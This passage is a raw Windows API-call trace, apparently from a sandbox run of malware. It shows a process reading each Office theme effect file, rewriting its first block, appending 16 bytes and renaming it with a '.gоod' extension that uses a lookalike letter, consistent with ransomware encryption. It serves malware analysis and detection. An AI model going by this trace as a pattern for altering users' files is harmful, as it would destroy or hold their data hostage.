lpOverlapped=0x0 | out: lpBuffer=0x339cda0*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0155.348] CloseHandle (hObject=0x810) returned 1 [0155.348] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx", lpFilePart=0x0) returned 0x56 [0155.349] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0155.349] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0155.349] GetFileType (hFile=0x810) returned 0x1 [0155.349] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0155.349] GetFileType (hFile=0x810) returned 0x1 [0155.349] WriteFile (in: hFile=0x810, lpBuffer=0x339bad8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x339bad8*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0155.349] CloseHandle (hObject=0x810) returned 1 [0155.349] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx", lpFilePart=0x0) returned 0x56 [0155.349] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx.gоod", lpFilePart=0x0) returned 0x5b [0155.349] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0155.349] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11482f7f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x58cfa617, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xd45b)) returned 1 [0155.349] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0155.349] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx.gоod")) returned 1 [0155.350] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx", lpFilePart=0x0) returned 0x5b [0155.350] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0155.350] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx"), fInfoLevelId=0x0, lpFileInformation=0x341c5a0 | out: lpFileInformation=0x341c5a0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11436ace, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11436ace, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11436ace, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x56208)) returned 1 [0155.350] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0155.350] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx", lpFilePart=0x0) returned 0x5b [0155.350] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0155.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0155.351] GetFileType (hFile=0x810) returned 0x1 [0155.351] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0155.351] GetFileType (hFile=0x810) returned 0x1 [0155.351] SetFilePointer (in: hFile=0x810, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0155.351] ReadFile (in: hFile=0x810, lpBuffer=0x341ca18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x341ca18*, lpNumberOfBytesRead=0x1f9ee6d8*=0x1000, lpOverlapped=0x0) returned 1 [0155.580] CloseHandle (hObject=0x810) returned 1 [0155.580] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx", lpFilePart=0x0) returned 0x5b [0155.580] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0155.580] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0155.581] GetFileType (hFile=0x810) returned 0x1 [0155.581] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0155.581] GetFileType (hFile=0x810) returned 0x1 [0155.581] SetFilePointer (in: hFile=0x810, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x56208 [0155.581] WriteFile (in: hFile=0x810, lpBuffer=0x3422ed0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x3422ed0*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0155.582] CloseHandle (hObject=0x810) returned 1 [0155.582] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx", lpFilePart=0x0) returned 0x5b [0155.583] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0155.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0155.583] GetFileType (hFile=0x810) returned 0x1 [0155.583] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0155.583] GetFileType (hFile=0x810) returned 0x1 [0155.583] ReadFile (in: hFile=0x810, lpBuffer=0x34255e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x34255e0*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0155.654] CloseHandle (hObject=0x810) returned 1 [0155.654] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx", lpFilePart=0x0) returned 0x5b [0155.654] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0155.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0155.656] GetFileType (hFile=0x810) returned 0x1 [0155.656] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0155.656] GetFileType (hFile=0x810) returned 0x1 [0155.656] WriteFile (in: hFile=0x810, lpBuffer=0x3424308*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x3424308*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0155.657] CloseHandle (hObject=0x810) returned 1 [0155.657] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx", lpFilePart=0x0) returned 0x5b [0155.657] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx.gоod", lpFilePart=0x0) returned 0x60 [0155.657] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0155.657] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11436ace, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11436ace, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x58fcf32c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x56218)) returned 1 [0155.657] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0155.657] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx.gоod")) returned 1 [0155.658] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx", lpFilePart=0x0) returned 0x52 [0155.658] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0155.658] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx"), fInfoLevelId=0x0, lpFileInformation=0x34a2f08 | out: lpFileInformation=0x34a2f08*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11436ace, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11436ace, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11436ace, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xafab)) returned 1 [0155.658] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0155.658] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx", lpFilePart=0x0) returned 0x52 [0155.768] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0155.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0155.815] GetFileType (hFile=0x7dc) returned 0x1 [0155.815] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0155.815] GetFileType (hFile=0x7dc) returned 0x1 [0155.815] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0155.815] ReadFile (in: hFile=0x7dc, lpBuffer=0x3498ea0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x3498ea0*, lpNumberOfBytesRead=0x1f9ee6d8*=0x1000, lpOverlapped=0x0) returned 1 [0155.816] CloseHandle (hObject=0x7dc) returned 1 [0155.816] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx", lpFilePart=0x0) returned 0x52 [0155.816] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0155.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0155.817] GetFileType (hFile=0x7dc) returned 0x1 [0155.817] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0155.817] GetFileType (hFile=0x7dc) returned 0x1 [0155.817] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0xafab [0155.817] WriteFile (in: hFile=0x7dc, lpBuffer=0x349a148*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x349a148*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0155.818] CloseHandle (hObject=0x7dc) returned 1 [0155.818] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx", lpFilePart=0x0) returned 0x52 [0155.818] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0155.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0155.818] GetFileType (hFile=0x7dc) returned 0x1 [0155.818] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0155.818] GetFileType (hFile=0x7dc) returned 0x1 [0155.818] ReadFile (in: hFile=0x7dc, lpBuffer=0x349c418, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x349c418*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0155.853] CloseHandle (hObject=0x7dc) returned 1 [0155.853] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx", lpFilePart=0x0) returned 0x52 [0155.853] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0155.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0155.853] GetFileType (hFile=0x7dc) returned 0x1 [0155.853] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0155.853] GetFileType (hFile=0x7dc) returned 0x1 [0155.853] WriteFile (in: hFile=0x7dc, lpBuffer=0x349b160*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x349b160*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0155.854] CloseHandle (hObject=0x7dc) returned 1 [0155.854] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx", lpFilePart=0x0) returned 0x52 [0155.854] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx.gоod", lpFilePart=0x0) returned 0x57 [0155.854] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0155.854] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11436ace, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11436ace, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x591bf176, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xafbb)) returned 1 [0155.854] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0155.854] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx.gоod")) returned 1 [0155.855] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx", lpFilePart=0x0) returned 0x57 [0155.855] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0155.855] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx"), fInfoLevelId=0x0, lpFileInformation=0x35198a0 | out: lpFileInformation=0x35198a0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114108ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114108ca, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114108ca, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb543)) returned 1 [0155.855] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0155.855] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx", lpFilePart=0x0) returned 0x57 [0155.855] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0155.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0155.855] GetFileType (hFile=0x7dc) returned 0x1 [0155.855] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0155.855] GetFileType (hFile=0x7dc) returned 0x1 [0155.855] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0155.856] ReadFile (in: hFile=0x7dc, lpBuffer=0x3519cf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x3519cf8*, lpNumberOfBytesRead=0x1f9ee6d8*=0x1000, lpOverlapped=0x0) returned 1 [0155.963] CloseHandle (hObject=0x7dc) returned 1 [0155.963] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx", lpFilePart=0x0) returned 0x57 [0155.963] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0155.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0155.963] GetFileType (hFile=0x7dc) returned 0x1 [0155.963] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0155.963] GetFileType (hFile=0x7dc) returned 0x1 [0155.963] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0xb543 [0155.963] WriteFile (in: hFile=0x7dc, lpBuffer=0x339dc68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x339dc68*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0155.964] CloseHandle (hObject=0x7dc) returned 1 [0155.964] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx", lpFilePart=0x0) returned 0x57 [0155.965] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0155.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0155.965] GetFileType (hFile=0x7dc) returned 0x1 [0155.965] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0155.965] GetFileType (hFile=0x7dc) returned 0x1 [0155.965] ReadFile (in: hFile=0x7dc, lpBuffer=0x33a00e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x33a00e0*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0155.994] CloseHandle (hObject=0x7dc) returned 1 [0155.994] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx", nBufferLength=0x105, 